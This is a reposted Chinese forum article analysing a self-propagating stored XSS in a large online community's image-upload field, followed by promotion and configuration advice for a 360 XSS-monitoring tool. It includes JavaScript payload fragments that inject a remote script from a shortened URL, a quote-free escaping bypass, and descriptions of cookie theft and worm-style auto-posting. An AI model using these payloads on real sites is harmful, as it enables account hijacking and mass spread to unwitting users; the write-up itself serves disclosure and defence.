某大型网络社区传播性XSS分析

[ 复制链接 ]
夏墨 | 2020-3-1 06:04:48 | 显示全部楼层 | 阅读模式 打印 上一主题 下一主题

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        爱梅小礼@0Kee Team

        漏洞分析

        这个XSS存在于天涯某个不起眼的子论坛,通过发布新帖子可以触发。

        论坛针对XSS有一定过滤措施,例如转义单双引号,过滤左右尖括号等等。所以一般的XSS盲注是没有作用的。

        突破点在于发帖时会有一个上传网络图片的功能。

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        上传后,图片会显示在帖子正文,即图片的URL会直接出现在IMG是SRC中。由于论坛过滤了尖括号,所以并不能突破IMG标签的限制,所以只能在标签内做一些动作了。如果论坛对双引号检查不严格的话,可以用以下思路突破src的双引号包裹,使用onerror/onload等事件来执行任意js代码。

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        如上图所示,前端做了验证,没有关系,通过Burpsuite来修改请求。

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        发现虽然代码成功插入,但是JS执行失败,因为第一个双引号被斜杠转义了,图片加载失败,所以onload事件没有触发,改用onerror即可,如下图所示:

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        如果我们要真正的去做些事情,光弹个框框是不够的,需要引入一个远程js文件。于是payload中的alert(1)得替换成

                               
                       

                               
                       

                               
                       

                               
                                         s=document.createElement(“script”);s.src=”http://t.cn/?xxx”;//为了缩短payload长度,js的 URL使用了微博短网址进行了压缩。document.body.appendChild(s)
                               
                       

        这样就可以动态创建script标签引入外部js了。可是直接这样写会失败的,别忘了论坛转义了单双引号,所以将上面代码稍作变化

                               
                       

                               
                       

                               
                       

                               
                                         s=document.createElement(document.head.children[1].tagName);//document.head.children[1]页面中固有的script标签。避免使用引号s.src=String.fromCharCode(104)+String.fromCharCode(116)   ... ...;//网址使用ascii的形式转化。避免使用引号。document.body.appendChild(s)
                               
                       

        查看下Cookie,几乎可以登录所有分站。

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        所以偷Cookie可能是黑客们最擅长的了,国内的各种XSS平台都有现成的接口。

        另外还可以做些什么呢,我们可以构造请求去各个板块发帖,看到帖子的用户点击进入了XSS页面,又会在不知情的情况下用自己的账户转发评论去诱骗更多的用户,受害者会以指数型增长,黑客收获的Cookie数量也会以指数增长。

        通过构造以下XSS代码,就可以让中招用户在指定板块发帖,或者回复某人。如果是大V中招发帖,传播量肯定惊人。

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        也可以让对方自动加你为好友,这样你以后发任何状态对方都可以看到,不经意间你就变成“大V”了:

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        当然也让对方在自己的微博中发表一些状态、评论,传播作用非常棒。

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        以上这一切,都是静默操作的,中招用户并不知情。

        当黑客控制了如此多的用户账户以及他们的Cookie,就可以做些能够变现的事情了。例如可以批量发送广告、seo、贩卖用户个人资料,甚至是DDoS等等。

        漏洞捕获

        类似上面的案例在360护心镜告警平台中捕获了很多,通过分析告警内容,站长们几乎都在第一时间得知并修复了漏洞。

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        上图即为本次事件的告警内容,从中可以解读出很多信息。从告警类型可以看出是由于网页调用了来自第三方的不明脚本。event_stack依据事件顺序记录了网页的行为。引发告警的位置就在于“创建SCRIPT标签|设置Script标签的SRC属性为:http://t.cn/XXXX”,访问http://t.cn/XXXX,内容如下:

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        正如上面分析的一样,黑客偷取并维持了受害用户的Cookie,然后调用了一个评论接口,通过CSRF的方式在用户不知情的情况下自动发表了一些评论,宣传了一个网址。

        截至漏洞修复,该XSS页面已有百余次访问量,但是通过Google搜索,发现没有一个用户因此中招,因为站长在配置护心镜的时候使用了默认阻断的模式,恶意js并没有执行,因此本次安全事件中没有造成实质性危害。

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        360护心镜目前有6个插件,分别对抗6种不同的XSS攻击,在本次事件中立功的是“第三方资源探测”插件。

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        说起这个插件真是让人喜忧参半,因为它的“误报”比较高,分析原因有两方面:

        1.浏览器广告插件与运营商篡改流量

        在写这个插件之前,我只想安安静静的防止XSS乱入,但没有意识到国内前端环境如此复杂。当告警显示页面中有未经允许的远程js插入,而原始页面中并没有找到该js代码。分析js文件,往往发现是赤裸裸的广告。究其原因,应该是用户系统中安装的程序向浏览器中植入了广告插件。你可以在地址栏中输入

        chrome://plugins/

        检查下这些插件是不是你正常安装的。

        还有就是部分地区的运营商为了增加收入,直接劫持流量,在网页中植入了广告代码导致了护心镜的“误判”。

        所以,想知道有哪些没节操的运营商和插件在劫持流量,也不妨可以尝试护心镜的这个功能。

        2.错误的白名单配置

        配置护心镜就像谈恋爱一样,你需要把一个放纵不羁爱自由的姑娘调教成贤妻良母。

        白名单是护心镜判断XSS的重要依据,如果配置不好则会有大量误报,如果处理方式再配置成阻断模式,则会影响页面正常功能。

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        需要配置成白名单的域名通常归类为:

        Js、CSS、图片等静态媒体文件的域名。

        iframe资源的域名。

        广告功能所用域名

        统计功能所用域名

        Web在线聊天功能所用域名

        微博等推广功能所用域名

        在刚刚引入护心镜时候,建议将“危险处理方式”设置为“放行”,

       

某大型网络社区传播性XSS分析

某大型网络社区传播性XSS分析


        这样即便是配置错误,也不会影响页面的正常运行。同时注意告警,如果发现误报,将引起误报的第三方域名加入白名单即可。这样经过短期“调教”后,则可以设置为阻断模式。

        注:文章相关内容为天涯工作人员授权公开。
温馨提示:
1、在论坛里发表的文章仅代表作者本人的观点,与本网站立场无关。
2、论坛的所有内容都不保证其准确性,有效性,时间性。阅读本站内容因误导等因素而造成的损失本站不承担连带责任。
3、当政府机关依照法定程序要求披露信息时,论坛均得免责。
4、若因线路及非本站所能控制范围的故障导致暂停服务期间造成的一切不便与损失,论坛不负任何责任。
5、注册会员通过任何手段和方法针对论坛进行破坏,我们有权对其行为作出处理。并保留进一步追究其责任的权利。
回复 推荐到N格

使用道具 举报

大神点评(1)

您需要登录后才可以回帖 登录 | 立即注册
    云凌阁
    平阴人在外地 | 2020-6-7 12:22:00 | 显示全部楼层
    正需要,支持云凌阁!
    回复 支持 反对

    使用道具 举报

    相关推荐
    云凌阁

    关注0

    粉丝0

    帖子33

    发布主题